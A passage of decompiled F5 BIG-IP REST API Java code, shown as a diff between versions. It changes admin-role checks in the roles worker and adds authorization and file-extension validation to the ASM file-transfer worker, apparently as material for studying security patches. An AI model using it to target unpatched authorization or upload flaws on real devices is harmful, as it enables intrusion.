this.userLinkToRoleNames.entrySet()) {

         if (((Set)entry.getValue()).contains(postedItem.name) &&
(postedItem.userReferences == null ||
!postedItem.userReferences.contains(entry.getKey())))
         {

           ((Set)entry.getValue()).remove(postedItem.name);
         }
       }

       for (Map.Entry<RestReference, Set<String>> entry :
this.resourceGroupToRoleNames.entrySet()) {

         if (((Set)entry.getValue()).contains(postedItem.name) &&
(postedItem.resourceGroupReferences == null ||
!postedItem.resourceGroupReferences.contains(entry.getKey())))
         {

           ((Set)entry.getValue()).remove(postedItem.name);
         }
       }
     }
   }



   private void addRolesToUsers(String roleName, Set<RestReference> users) {
     for (RestReference userReference : users) {
       if (userReference.link == null) {
         getLogger().warningFmt("Null userReference in role %s", new Object[] {
roleName });
         continue;
       }
       getLogger().finestFmt("Adding role %s from %s", new Object[] { roleName,
userReference.link.toString() });

       if (this.userLinkToRoleNames.containsKey(userReference)) {
         ((Set<String>)this.userLinkToRoleNames.get(userReference)).add(roleName);
         continue;
       }
       Set<String> roleSet = new HashSet<>();
       roleSet.add(roleName);
       this.userLinkToRoleNames.put(userReference, roleSet);
     }
   }
   private void addRolesToResourceGroups(String roleName, Set<RestReference>
resourceGroups) {
     for (RestReference resourceGroup : resourceGroups) {
       if (resourceGroup.link == null) {
         getLogger().warningFmt("Null userReference in role %s", new Object[] {
roleName });
         continue;
       }
       getLogger().finestFmt("Adding role %s to %s", new Object[] { roleName,
resourceGroup.link.toString() });

       if (this.resourceGroupToRoleNames.containsKey(resourceGroup)) {

((Set<String>)this.resourceGroupToRoleNames.get(resourceGroup)).add(roleName);
         continue;
       }
       Set<String> roleSet = new HashSet<>();
       roleSet.add(roleName);
       this.resourceGroupToRoleNames.put(resourceGroup, roleSet);
     }
   }



   private void removeRolesFromUsers(String roleName, Set<RestReference> users) {
     for (RestReference userReference : users) {
       if (userReference.link == null) {
         continue;
       }
       if (this.userLinkToRoleNames.containsKey(userReference)) {
         getLogger().finestFmt("Removing role %s from %s", new Object[] {
roleName, userReference.link.toString() });

         ((Set)this.userLinkToRoleNames.get(userReference)).remove(roleName);
       }
     }
   }




   private void removeRolesFromResourceGroups(String roleName, Set<RestReference>
resourceGroups) {
     for (RestReference groupReference : resourceGroups) {
       if (groupReference.link == null) {
         continue;
       }
       if (this.resourceGroupToRoleNames.containsKey(groupReference)) {
         getLogger().finestFmt("Removing role %s from %s", new Object[] {
roleName, groupReference.link.toString() });


((Set)this.resourceGroupToRoleNames.get(groupReference)).remove(roleName);
       }
     }
   }
```

```
  public void onDelete(RestOperation request) {
    getLogger().fineFmt("Attempting to DELETE role; uri: %s, referrer: %s", new
Object[] { request.getUri().toString(), request.getReferer() });

    if (isReadOnly(request)) {
      return;
    }
    completeDelete(request);
  }


  public void onDeleteCompleted(RestOperation request) {
    RolesWorkerState item = (RolesWorkerState)getStateFromRequest(request);

    synchronized (this.userLinkToRoleNames) {
      if (item.userReferences != null) {
        removeRolesFromUsers(item.name, item.userReferences);
      }


      if (item.resourceGroupReferences != null) {
        removeRolesFromResourceGroups(item.name, item.resourceGroupReferences);
      }

      this.roleNameToResources.remove(item.name);
    }

    request.complete();
  }







  public void onPost(RestOperation request) {
    getLogger().fineFmt("Attempting to POST role; uri: %s, referrer: %s", new
Object[] { request.getUri().toString(), request.getReferer() });

    updateBuiltInRoleCacheOnDemand(request);
  }


  public void onPostCompleted(RestOperation request) {
    RolesWorkerState postedItem = (RolesWorkerState)getStateFromRequest(request);
    addRole(postedItem);
    request.complete();
  }








  private boolean isReadOnly(RestOperation request) {
    if (!isExternalRequest(request)) {
      return false;
    }
```

```
     RolesWorkerState updateState = getStateToUpdate(request);
     if (request.getMethod().equals(RestOperation.RestMethod.DELETE) &&
(updateState.name.equals("iControl_REST_API_User") ||
updateState.name.equals("Administrator"))) {



       request.fail(new IllegalStateException(String.format("Cannot %s built in
roles.", new Object[] { "delete" })));

       return true;
     }

     return false;
   }








   private static boolean isExternalRequest(RestOperation request) {
     return (request.getReferer() != null &&
!request.getReferer().endsWith(TmosBuiltInRolesWorkerState.WORKER_PATH) &&
!request.getReferer().contains(RemoteStateCopier.class.getName()) &&
!request.getReferer().contains("shared/gossip") &&
!request.getReferer().endsWith(WellKnownPorts.AUTHZ_TMOS_ROLES_SYNC_WORKER_URI_PAT
H));
   }

















   public void evaluatePermission(final RestOperation request, final String path,
final RestOperation.RestMethod verb, final CompletionHandler<Boolean> completion)
{
     if (isAllowedToAll(path, verb)) {
       completion.completed(Boolean.valueOf(true));

       return;
     }
     hasAdminRole(request, new CompletionHandler<Boolean>()
         {
           public void completed(Boolean isAdmin)
           {
             if (isAdmin != null && isAdmin.booleanValue()) {
               completion.completed(Boolean.valueOf(true));

               return;
             }

completion.completed(Boolean.valueOf(RolesWorker.this.evaluatePermission(request,
path, verb)));
           }


           public void failed(Exception ex, Boolean isAdmin) {
             completion.failed(ex, Boolean.valueOf(false));
           }
         });
   }




   private static boolean isAllowedToAll(String path, RestOperation.RestMethod
verb) {
     if (verb == RestOperation.RestMethod.POST &&
(path.equals(EXTERNAL_EFFECTIVE_PERMISSIONS_WORKER_PATH) ||
path.startsWith(EXTERNAL_LOGIN_WORKER_PATH)))
     {

       return true;
     }




     if (verb == RestOperation.RestMethod.GET &&
(path.startsWith(EXTERNAL_ROLES_WORKER_URI_PATH) ||
path.startsWith(EXTERNAL_RESOURCE_GROUPS_WORKER_URI_PATH)))
     {

       return true;
     }

     return false;
   }


   private boolean evaluatePermission(RestOperation request, String path,
RestOperation.RestMethod verb) {
     for (RestReference identityReference : request.getAuthIdentityReferences()) {
       if (evaluatePermission(identityReference, path, verb)) {
         return true;
       }
     }

     return false;
   }
   private boolean evaluatePermission(RestReference userLink, String path,
RestOperation.RestMethod verb) {
     if (path.equals(userLink.link.getPath())) {
       return true;
     }




     if (!this.userLinkToRoleNames.containsKey(userLink)) {
       return false;
     }

     synchronized (this.userLinkToRoleNames) {

       if (!this.userLinkToRoleNames.containsKey(userLink)) {
         return false;
       }

       for (String roleName : this.userLinkToRoleNames.get(userLink)) {
         RoleResourceMatcher resources = this.roleNameToResources.get(roleName);
         if (resources.verifyResourceIsPermitted(path, verb)) {
           return true;
         }
       }
     }
     return false;
   }

   public void hasAdminRole(RestOperation request, CompletionHandler<Boolean>
completion) {
     for (RestReference groupReference : request.getAuthGroupReferencesList()) {
       if (hasAdminRoleFromGroup(groupReference)) {
         completion.completed(Boolean.valueOf(true));
         return;
       }
     }
     RestReference authUserReference = request.getAuthUserReference();
     if (RestReference.isNullOrEmpty(authUserReference)) {
       completion.completed(null);
       return;
     }
-    if (!hasAdminRoleFromGroup(authUserReference)) {
-      completion.completed(null);
-      return;
-    }
     this.tmosRoleCache.get(authUserReference.link, completion);
   }

   private boolean hasAdminRoleFromGroup(RestReference userLink) {
     if (!this.userLinkToRoleNames.containsKey(userLink)) {
       return false;
     }
     synchronized (this.userLinkToRoleNames) {
       Set<String> roleNames = this.userLinkToRoleNames.get(userLink);
       return (roleNames != null && roleNames.contains("Administrator"));
     }
   }

   private RoleResourceMatcher buildResourcesList(RolesWorkerState role) {
     Set<RoleResource> resources = new HashSet<>();

     if (role.resources != null) {
       resources.addAll(role.resources);
     }

     if (role.resourceGroupReferences != null) {
       for (RestReference resourceGroupReference : role.resourceGroupReferences) {
         if (RestReference.isNullOrEmpty(resourceGroupReference)) {
           continue;
         }
         Set<RoleResource> groupResources =
this.resourcesGroupWorker.getRoleResourcesFromGroup(resourceGroupReference.link);

         if (groupResources != null) {
           resources.addAll(groupResources);
         }
       }
     }

     return new RoleResourceMatcher(resources);
   }



   private void queueUserRemoval(RestReference userReference) {
     getLogger().fineFmt("Queued removal of %s from roles.", new Object[] {
userReference.link });

     synchronized (this.userLinkToRoleNames) {
       if (!this.userLinkToRoleNames.containsKey(userReference)) {
         return;
       }
     }

     this.usersToRemove.add(userReference);
     processUserRemovalQueue();
   }


   private void completedUserRemoval() {
     this.isUserRemovalRunning.set(false);
     processUserRemovalQueue();
   }

   private void processUserRemovalQueue() {
     if (this.isUserRemovalRunning.compareAndSet(false, true)) {
       removeNextUser();
     }
   }

   private void removeNextUser() {
     RestReference userRef = this.usersToRemove.poll();

     if (userRef == null) {
       this.isUserRemovalRunning.set(false);
       return;
     }
     getLogger().fineFmt("Processing %s for removal from roles", new Object[] {
userRef.link });

     Set<String> roles = null;

     synchronized (this.userLinkToRoleNames) {
       if (this.userLinkToRoleNames.containsKey(userRef)) {
         roles = new HashSet<>(this.userLinkToRoleNames.get(userRef));
       }
     }

     if (roles == null || roles.isEmpty()) {
       completedUserRemoval();

       return;
     }
     for (String role : roles) {
       removeUserFromRole(userRef, role);
     }
   }


   private void removeUserFromRole(final RestReference userReference, final String
roleName) {
     RestRequestCompletion getCompletion = new RestRequestCompletion()
       {



         public void failed(Exception ex, RestOperation operation)
         {
           RolesWorker.this.getLogger().fineFmt("Unable to GET %s to remove %s:
%s", new Object[] { this.val$roleName, this.val$userReference.link.toString(), ex
});

           RolesWorker.this.completedUserRemoval();
         }


         public void completed(RestOperation operation) {
           final RolesWorkerState role =
(RolesWorkerState)operation.getTypedBody(RolesWorkerState.class);
           if (!role.userReferences.remove(userReference) &&
!"Administrator".equals(roleName)) {

             RolesWorker.this.completedUserRemoval();
             return;
           }
           RestRequestCompletion putCompletion = new RestRequestCompletion()
             {

               public void failed(Exception ex, RestOperation putResponse)
               {
                 if (putResponse.getStatusCode() == 404) {
                   RolesWorker.this.completedUserRemoval();
                   return;
                 }
                 RolesWorker.this.getLogger().fineFmt("Unable to update %s to
remove %s, will retry. Error: %s", new Object[] { this.val$role.name,
this.this$1.val$userReference.link.toString(), ex });



                 RolesWorker.this.queueUserRemoval(userReference);
               }



               public void completed(RestOperation putResponse) {
                 RolesWorker.this.getLogger().fineFmt("Successfully removed %s
from role %s", new Object[] { this.this$1.val$userReference.link.toString(),
this.val$role.name });

                 RolesWorker.this.completedUserRemoval();
               }
             };


           RestOperation put =
RestOperation.create().setUri(UrlHelper.extendUriSafe(RolesWorker.this.getUri(),
new String[] { this.val$roleName })).setBody(role).setCompletion(putCompletion);



           RolesWorker.this.sendPut(put);
         }
       };

     RestOperation get =
RestOperation.create().setUri(UrlHelper.extendUriSafe(getUri(), new String[] {
roleName })).setCompletion(getCompletion);


     sendGet(get);
   }

   void removeResourceGroupsFromRoles(RestReference groupReference) {
     Set<String> roles = null;

     synchronized (this.userLinkToRoleNames) {
       if (this.resourceGroupToRoleNames.containsKey(groupReference)) {
         roles = new HashSet<>(this.resourceGroupToRoleNames.get(groupReference));
       }
     }

     if (roles == null) {
       return;
     }

     for (String role : roles) {
       removeResourceGroupFromRole(groupReference, role, 10);
     }
   }
   void removeResourceGroupFromRole(final RestReference groupReference, final
String roleName, final int retries) {
     RestRequestCompletion getCompletion = new RestRequestCompletion()
       {



         public void failed(Exception ex, RestOperation operation)
         {
           RolesWorker.this.getLogger().fineFmt("Failed to remove %s from role %s:
%s", new Object[] { this.val$groupReference.link.toString(), this.val$roleName, ex
});
         }



         public void completed(RestOperation operation) {
           final RolesWorkerState role =
(RolesWorkerState)operation.getTypedBody(RolesWorkerState.class);
           if (!role.resourceGroupReferences.remove(groupReference)) {
             return;
           }
           RestRequestCompletion putCompletion = new RestRequestCompletion()
             {



               public void failed(Exception ex, RestOperation putResponse)
               {
                 if (retries <= 0) {
                   RolesWorker.this.getLogger().warningFmt("Failed to remove %s
from role %s: %s", new Object[] { this.this$1.val$groupReference.link.toString(),
this.val$role.name, ex });

                   return;
                 }
                 TimerTask task = new TimerTask()
                   {
                     public void run()
                     {

RolesWorker.this.removeResourceGroupFromRole(groupReference, roleName, retries -
1);
                     }
                   };



                 RolesWorker.this.scheduleTask(task, true, (10 - retries) * 10, 0,
1);
               }


               public void completed(RestOperation putResponse) {
                 RolesWorker.this.getLogger().fineFmt("Successfully removed %s
from role %s", new Object[] { this.this$1.val$groupReference.link.toString(),
this.val$role.name });
```

```
              }
            };



          RestOperation put =
RestOperation.create().setUri(UrlHelper.extendUriSafe(RolesWorker.this.getUri(),
new String[] { this.val$roleName })).setBody(role).setCompletion(putCompletion);



          RolesWorker.this.sendPut(put);
        }
      };

     RestOperation get =
RestOperation.create().setUri(UrlHelper.extendUriSafe(getUri(), new String[] {
roleName })).setCompletion(getCompletion);


     sendGet(get);
   }


   void rebuildRolesWithRef(final URI resourceGroupSelfLink, final RestOperation
groupRequest) {
     RestRequestCompletion getCollectionCompletion = new RestRequestCompletion()
       {
         public void failed(Exception ex, RestOperation operation)
         {
           RolesWorker.this.getLogger().warningFmt("Failed to rebuild role
resources: %s", new Object[] { RestHelper.throwableStackToString(ex) });
         }



         public void completed(RestOperation operation) {
           RolesCollectionState collection =
(RolesCollectionState)operation.getTypedBody(RolesCollectionState.class);


           RestReference resourceGroup = new RestReference(resourceGroupSelfLink);
           RolesWorker.this.rebuildResources(collection, resourceGroup);

RolesWorker.this.resourcesGroupWorker.onRoleRebuildComplete(groupRequest);
         }
       };


     loadChildValues(getCollectionCompletion);
   }







   void rebuildAllRoles() {
     RestRequestCompletion getCollectionCompletion = new RestRequestCompletion()
       {
         public void failed(Exception ex, RestOperation operation)
         {
           RolesWorker.this.getLogger().warningFmt("Failed to rebuild role
resources: %s", new Object[] { RestHelper.throwableStackToString(ex) });
         }



         public void completed(RestOperation operation) {
           RolesCollectionState collection =
(RolesCollectionState)operation.getTypedBody(RolesCollectionState.class);

           synchronized (RolesWorker.this.userLinkToRoleNames) {
             for (RolesWorkerState role : collection.items) {
               RolesWorker.this.roleNameToResources.put(role.name,
RolesWorker.this.buildResourcesList(role));
             }
           }
         }
       };


     loadChildValues(getCollectionCompletion);
   }


   void rebuildResources(RolesCollectionState collection, RestReference
resourceGroup) {
     synchronized (this.userLinkToRoleNames) {
       Set<String> roleNames = this.resourceGroupToRoleNames.get(resourceGroup);
       if (roleNames == null) {
         return;
       }

       for (RolesWorkerState role : collection.items) {
         if (roleNames.contains(role.name)) {
           this.roleNameToResources.put(role.name, buildResourcesList(role));
         }
       }
     }
   }


   public static void failWithPermissionsInternalError(RestOperation request) {
     request.setBody(null);
     request.setStatusCode(500);
     request.fail(new Exception("Internal server error while authorizing
request"));
   }

   public void invalidateCacheForUser(URI userSelfLink) {
     this.tmosRoleCache.invalidate(userSelfLink);
   }
 }
diff --git a/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java
b/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java
new file mode 100644
```

```diff
index 0000000..99c2bd4
--- /dev/null
+++ b/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java
@@ -0,0 +1,26 @@
+package com.f5.rest.workers.asm;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class AsmFileTransferConfiguration
+{
+  List<String> allowedFileFormat = new ArrayList<>();
+
+  public List<String> getAllowedFileFormat() {
+    return this.allowedFileFormat;
+  }
+
+  public void setAllowedFileFormat(List<String> paramList) {
+    this.allowedFileFormat = paramList;
+  }
+
+  public String getAllowedFileFormatAsString(String paramString) {
+    StringBuilder stringBuilder = new StringBuilder();
+    for (String str : this.allowedFileFormat) {
+      stringBuilder.append(str).append(paramString);
+    }
+    stringBuilder.deleteCharAt(stringBuilder.lastIndexOf(paramString));
+    return stringBuilder.toString();
+  }
+}
diff --git a/com/f5/rest/workers/asm/AsmFileTransferWorker.java
b/com/f5/rest/workers/asm/AsmFileTransferWorker.java
index 87e0610..16144f9 100644
--- a/com/f5/rest/workers/asm/AsmFileTransferWorker.java
+++ b/com/f5/rest/workers/asm/AsmFileTransferWorker.java
@@ -1,133 +1,162 @@
 package com.f5.rest.workers.asm;

 import com.f5.rest.common.RestOperation;
 import com.f5.rest.common.RestRequestCompletion;
 import com.f5.rest.common.RestServer;
 import com.f5.rest.common.RestWorker;
 import com.f5.rest.common.UrlHelper;
-import com.f5.rest.workers.FileTransferWorker;
+import com.f5.rest.workers.FileTransferPrivateWorker;
+import com.f5.rest.workers.asm.utils.AsmRequestValidator;
+import com.f5.rest.workers.asm.utils.ValidationResponse;
 import java.net.URI;
 import java.util.ArrayList;
 import java.util.List;
+import java.util.logging.Logger;




 public class AsmFileTransferWorker
   extends RestWorker
 {
+  private final Logger LOGGER =
Logger.getLogger(AsmFileTransferWorker.class.getSimpleName());
```

```
   private String postDirectory;
   private String tmpDirectory;
   private String getDirectory;
   private final String PRIVATE_SUFFIX = "-private";
   private boolean isDownload;
   private String localUri;

   public AsmFileTransferWorker(String paramString1, String paramString2, String
paramString3) throws Exception {
     this.postDirectory = paramString2;
     this.tmpDirectory = paramString3;
     this.isDownload = false;
     this.localUri = paramString1;
   }

   public AsmFileTransferWorker(String paramString1, String paramString2) throws
Exception {
     this.getDirectory = paramString2;
     this.isDownload = true;
     this.localUri = paramString1;
   }



   public void onStart(RestServer paramRestServer) throws Exception {
     if (this.isDownload) {

-       FileTransferWorker fileTransferWorker = new
FileTransferWorker(this.getDirectory);
-       fileTransferWorker.setPublic(false);
-       getServer().registerWorker(this.localUri + "-private",
(RestWorker)fileTransferWorker);
+       FileTransferPrivateWorker fileTransferPrivateWorker = new
FileTransferPrivateWorker(this.getDirectory);
+       fileTransferPrivateWorker.setPublic(false);
+       getServer().registerWorker(this.localUri + "-private",
(RestWorker)fileTransferPrivateWorker);
     }
     else {

-       FileTransferWorker fileTransferWorker = new
FileTransferWorker(this.postDirectory, this.tmpDirectory);
-       fileTransferWorker.setPublic(false);
-       getServer().registerWorker(this.localUri + "-private",
(RestWorker)fileTransferWorker);
+       FileTransferPrivateWorker fileTransferPrivateWorker = new
FileTransferPrivateWorker(this.postDirectory, this.tmpDirectory);
+       fileTransferPrivateWorker.setPublic(false);
+       getServer().registerWorker(this.localUri + "-private",
(RestWorker)fileTransferPrivateWorker);
     }

     ArrayList<String> arrayList = new ArrayList();
     arrayList.add("/*");
     getServer().registerCollectionWorker(arrayList, this);
     registerPublicUri(getUri().getPath(), null);

     super.onStart(paramRestServer);
   }
```

```
  protected void forwardRequest(final RestOperation request) {
    List list = request.getParsedCollectionEntries();
    RestOperation restOperation = (RestOperation)request.clone();

+

    URI uRI = getUri();
    try {
      if (list == null || list.size() == 0) {
        uRI = UrlHelper.buildLocalUri(getServer(), new String[] { this.localUri +
"-private" });
      } else {

        String str1 = request.getAuthUser();
        String str2 = str1 + "~" +
((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey;
        uRI = UrlHelper.buildLocalUri(getServer(), new String[] { this.localUri +
"-private", "/", str2 });
      }

    } catch (Exception exception) {}


    restOperation.setUri(uRI).setCompletion(new RestRequestCompletion()
        {
          public void completed(RestOperation param1RestOperation) {
            String str = param1RestOperation.getBodyAsString();
            if (str == null || str.isEmpty()) {
              request.setBinaryBody(param1RestOperation.getBinaryBody());
            } else {

              request.setBody(str);
            }

            request.complete();
          }


          public void failed(Exception param1Exception, RestOperation
param1RestOperation) {
            request.fail(param1Exception);
          }
        });
    sendRequest(restOperation);
  }



  protected void onGet(RestOperation paramRestOperation) {
    forwardRequest(paramRestOperation);
  }


  protected void onQuery(RestOperation paramRestOperation) {
    forwardRequest(paramRestOperation);
  }
```

```
   protected void onPost(RestOperation paramRestOperation) {
+    this.LOGGER.info("Validating the request");
+    ValidationResponse validationResponse1 = validateRequest(paramRestOperation);
+    if (!validationResponse1.isValid()) {
+      paramRestOperation.setStatusCode(401);
+      paramRestOperation.fail(new
SecurityException(validationResponse1.getMessage()));
+    }
+    ValidationResponse validationResponse2 =
AsmRequestValidator.validateFileExtension(paramRestOperation);
+    if (!validationResponse2.isValid()) {
+      paramRestOperation.fail(new
IllegalArgumentException(validationResponse2.getMessage()));
+    }
     forwardRequest(paramRestOperation);
   }


   protected void onDelete(RestOperation paramRestOperation) {
     forwardRequest(paramRestOperation);
   }


   protected void onPatch(RestOperation paramRestOperation) {
     forwardRequest(paramRestOperation);
   }


   protected void onPut(RestOperation paramRestOperation) {
     forwardRequest(paramRestOperation);
   }
+
+  private ValidationResponse validateRequest(RestOperation paramRestOperation) {
+    ValidationResponse validationResponse =
AsmRequestValidator.validateUserAuthorization(paramRestOperation);
+    if (!validationResponse.isValid()) {
+
+      ValidationResponse validationResponse1 =
AsmRequestValidator.validateUserHasFullAuthorization(paramRestOperation);
+      if (!validationResponse1.isValid()) {
+        return validationResponse;
+      }
+      return new ValidationResponse(true);
+    }
+
+    return validationResponse;
+  }
 }
diff --git a/com/f5/rest/workers/asm/utils/AsmRequestValidator.java
b/com/f5/rest/workers/asm/utils/AsmRequestValidator.java
new file mode 100644
index 0000000..6f80b68
--- /dev/null
+++ b/com/f5/rest/workers/asm/utils/AsmRequestValidator.java
@@ -0,0 +1,119 @@
+package com.f5.rest.workers.asm.utils;
+
+import com.f5.mcp.data.DataObject;
+import com.f5.mcp.io.Connection;
```

```
+import com.f5.mcp.io.ConnectionManager;
+import com.f5.mcp.io.ObjectManager;
+import com.f5.mcp.schema.SchemaAttribute;
+import com.f5.mcp.schema.SchemaStructured;
+import com.f5.mcp.schema.auth.AuthModule;
+import com.f5.mcp.schema.auth.UserRolePartition;
+import com.f5.mcp.schema.common.McpUserRoleT;
+import com.f5.rest.common.RestOperation;
+import com.f5.rest.workers.asm.AsmFileTransferConfiguration;
+import com.f5.rest.workers.filemanagement.FileManagementHelper;
+import com.google.gson.Gson;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.logging.Logger;
+import java.util.regex.Pattern;
+
+
+
+
+
+public class AsmRequestValidator
+{
+  private static final Logger LOGGER =
Logger.getLogger(AsmRequestValidator.class.getName());
+  private static final String MCP_PARTITION_ALL = "[All]";
+  private static final String MCP_PARTITION_COMMON = "Common";
+  private static final ArrayList<McpUserRoleT> allowedRoles = new
ArrayList<>(Arrays.asList(new McpUserRoleT[] {
McpUserRoleT.ROLE_APPLICATION_SECURITY_ADMINISTRATOR,
McpUserRoleT.ROLE_APPLICATION_SECURITY_OPERATIONS_ADMINISTRATOR,
McpUserRoleT.ROLE_RESOURCE_ADMIN, McpUserRoleT.ROLE_ADMINISTRATOR,
McpUserRoleT.ROLE_APPLICATION_SECURITY_EDITOR }));
+
+
+
+
+
+  private static String ALLOWED_FILE_FORMATS_CONFIG = "/etc/asm-file-transfer-
config.json";
+  private static String FILE_REGEX;
+
+  static {
+    try {
+      File file = new File(ALLOWED_FILE_FORMATS_CONFIG);
+      BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
+      AsmFileTransferConfiguration asmFileTransferConfiguration =
(AsmFileTransferConfiguration)(new Gson()).fromJson(bufferedReader,
AsmFileTransferConfiguration.class);
+      String str =
asmFileTransferConfiguration.getAllowedFileFormatAsString("|");
+      FILE_REGEX = "^[a-zA-Z0-9_. -~\\(\\)\\%]+\\.(" + str + ")";
+    } catch (FileNotFoundException fileNotFoundException) {
+      LOGGER.severe("FILE REGEX validator was not calculated:" +
fileNotFoundException.getMessage());
```

```
+    }
+  }
+
+  public static ValidationResponse validateUserAuthorization(RestOperation
paramRestOperation) {
+    String str = paramRestOperation.getAuthUser();
+    if (str == null) {
+      return new ValidationResponse(false, "Could not get the authorized username
for this incoming request");
+    }
+
+    boolean bool = (str.equals("admin") || str.equals("root")) ? true : false;
+    return new ValidationResponse(bool, String.format("User '%s' is not
authorized", new Object[] { str }));
+  }
+
+  public static ValidationResponse validateUserHasFullAuthorization(RestOperation
paramRestOperation) {
+    ConnectionManager connectionManager = ConnectionManager.instance();
+    if (connectionManager == null) {
+      ConnectionManager.init();
+      connectionManager = ConnectionManager.instance();
+    }
+    Connection connection = null;
+    try {
+      connection = connectionManager.getConnection();
+      ObjectManager objectManager = new
ObjectManager((SchemaStructured)AuthModule.UserRolePartition, connection);
+      DataObject dataObject = objectManager.newObject();
+      dataObject.put((SchemaAttribute)UserRolePartition.USER,
paramRestOperation.getAuthUser());
+      DataObject[] arrayOfDataObject = objectManager.getAll(dataObject);
+      if (arrayOfDataObject != null) {
+        for (DataObject dataObject1 : arrayOfDataObject) {
+          String str =
dataObject1.getString((SchemaAttribute)UserRolePartition.PARTITION);
+          if (str.equals("[All]") || str.equals("Common")) {
+            McpUserRoleT mcpUserRoleT =
(McpUserRoleT)dataObject1.getToken((SchemaAttribute)UserRolePartition.ROLE);
+            if (allowedRoles.contains(mcpUserRoleT)) {
+              return new ValidationResponse(true);
+            }
+          }
+        }
+      }
+    } catch (Exception exception) {
+      return new ValidationResponse(false, exception.getMessage());
+    } finally {
+      if (connection != null) {
+        connectionManager.freeConnection(connection);
+      }
+    }
+    return new ValidationResponse(false);
+  }
+
+  public static ValidationResponse validateFileExtension(RestOperation
paramRestOperation) {
+    List list = paramRestOperation.getParsedCollectionEntries();
+    if (list == null || list.isEmpty()) {
```

```
+      return new ValidationResponse(true);
+    }
+
+    String str = ((RestOperation.ParsedCollectionEntry)list.get(0)).entryKey;
+    if (!Pattern.matches(FILE_REGEX, str)) {
+      FileManagementHelper.cleanPostForResponse(paramRestOperation);
+      paramRestOperation.fail(new IllegalArgumentException("A valid file format
must be supplied"));
+      return new ValidationResponse(false, "A valid file format must be
supplied");
+    }
+    return new ValidationResponse(true);
+  }
+
+  public static ValidationResponse validateRequestSource(RestOperation
paramRestOperation) {
+    LOGGER.info(paramRestOperation.getUri().toString());
+    return new ValidationResponse(true);
+  }
+}
diff --git a/com/f5/rest/workers/asm/utils/ValidationResponse.java
b/com/f5/rest/workers/asm/utils/ValidationResponse.java
new file mode 100644
index 0000000..109fa81
--- /dev/null
+++ b/com/f5/rest/workers/asm/utils/ValidationResponse.java
@@ -0,0 +1,26 @@
+package com.f5.rest.workers.asm.utils;
+
+
+
+public class ValidationResponse
+{
+  private boolean isValid;
+  private String message;
+
+  public ValidationResponse(boolean paramBoolean) {
+    this.isValid = paramBoolean;
+  }
+
+  public ValidationResponse(boolean paramBoolean, String paramString) {
+    this.isValid = paramBoolean;
+    this.message = paramString;
+  }
+
+  public String getMessage() {
+    return this.message;
+  }
+
+  public boolean isValid() {
+    return this.isValid;
+  }
+}
diff --git a/com/f5/rest/workers/authn/AuthnWorker.java
b/com/f5/rest/workers/authn/AuthnWorker.java
index 0658099..ddbe4cf 100644
--- a/com/f5/rest/workers/authn/AuthnWorker.java
+++ b/com/f5/rest/workers/authn/AuthnWorker.java
@@ -1,555 +1,587 @@
```

```
 package com.f5.rest.workers.authn;

 import com.f5.rest.common.RestErrorResponse;
 import com.f5.rest.common.RestHelper;
 import com.f5.rest.common.RestOperation;
 import com.f5.rest.common.RestReference;
 import com.f5.rest.common.RestRequestCompletion;
 import com.f5.rest.common.RestRequestSender;
 import com.f5.rest.common.RestServer;
 import com.f5.rest.common.RestWorker;
 import com.f5.rest.common.UrlHelper;
+import com.f5.rest.common.Utilities;
 import com.f5.rest.common.WellKnownPorts;
 import com.f5.rest.workers.AuthTokenItemState;
 import com.f5.rest.workers.RestResolverGroupEntry;
 import com.f5.rest.workers.authn.providers.AuthProviderCollectionState;
 import com.f5.rest.workers.authn.providers.AuthProviderLoginState;
 import com.f5.rest.workers.authn.providers.AuthProviderState;
 import com.f5.rest.workers.authn.providers.local.LocalAuthLoginWorker;
 import com.f5.rest.workers.authz.AuthSourceState;
 import com.f5.rest.workers.authz.AuthzHelper;
 import java.net.URI;
 import java.util.Collections;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.concurrent.Callable;
 import java.util.concurrent.CancellationException;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
 import java.util.concurrent.atomic.AtomicInteger;

-
 public class AuthnWorker
   extends RestWorker
 {
   public static final String LOGIN_PATH_SUFFIX = "login";
   public static final String WORKER_URI_PATH = UrlHelper.buildUriPath(new
String[] { "shared/", "authn", "login" });
```

```
   public static final String MAX_NUMBER_LOGIN_FAILURE_MSG = "Maximum number of
login attempts exceeded.";

   public static final String LOGIN_ERROR_MSG = "Unable to login using supplied
information. If you are attempting to login with a configured authentication
provider it may be unavailable or no longer exist.";

   public static final int MAX_NUMBER_LOGIN_FAILURES = 5;
   private static final long FAILED_ATTEMPTS_TIMEOUT =
TimeUnit.MINUTES.toMicros(5L);

   private static final int GET_AUTHSOURCE_MAX_WAIT_MILLIS = 800;
   private static final int GET_AUTHSOURCE_BASE_WAIT_MILLIS = 10;
   private static final int GET_AUTHSOURCE_EXPONENT_FACTOR = 2;
   private static final int GET_AUTHSOURCE_EXPONENTIAL_ATTEMPTS = 5;
   private static final int GET_AUTHSOURCE_LINEAR_FACTOR = 50;
   private final int LOOKUP_AUTH_MAX_WAIT_MILLIS =
(int)TimeUnit.SECONDS.toMillis(10L);
   private final int LOOKUP_AUTH_MAX_RETRIES = 10;
   private final Map<URI, AtomicInteger> lookupAuthRetryCountReferenceMap =
Collections.synchronizedMap(new HashMap<>());

   private class LoginFailures
   {
     public int failures = 0;
     private LoginFailures() {}

     public long lastFailureMicros; }
   private final Map<String, RestReference> loginNameToReferenceMap =
Collections.synchronizedMap(new HashMap<>());

   private final Map<String, LoginFailures> loginFailureMap =
Collections.synchronizedMap(new HashMap<>());


   private final Map<URI, URI> subscriptions = Collections.synchronizedMap(new
HashMap<>());




   public void onStart(RestServer server) throws Exception {
     setSynchronized(true);

     setMaxPendingOperations(10000L);
     setPersisted(false);
     setReplicated(false);
     setIndexed(false);
     setPublic(true);


     completeStart(null, new URI[] { UrlHelper.buildLocalUriSafe(server, new
String[] { LocalAuthLoginWorker.WORKER_URI_PATH }),
UrlHelper.buildLocalUriSafe(server, new String[] { "shared/resolver/groups" }) });
   }
   protected void onStartCompleted(Object state, Exception stateLoadEx, Exception
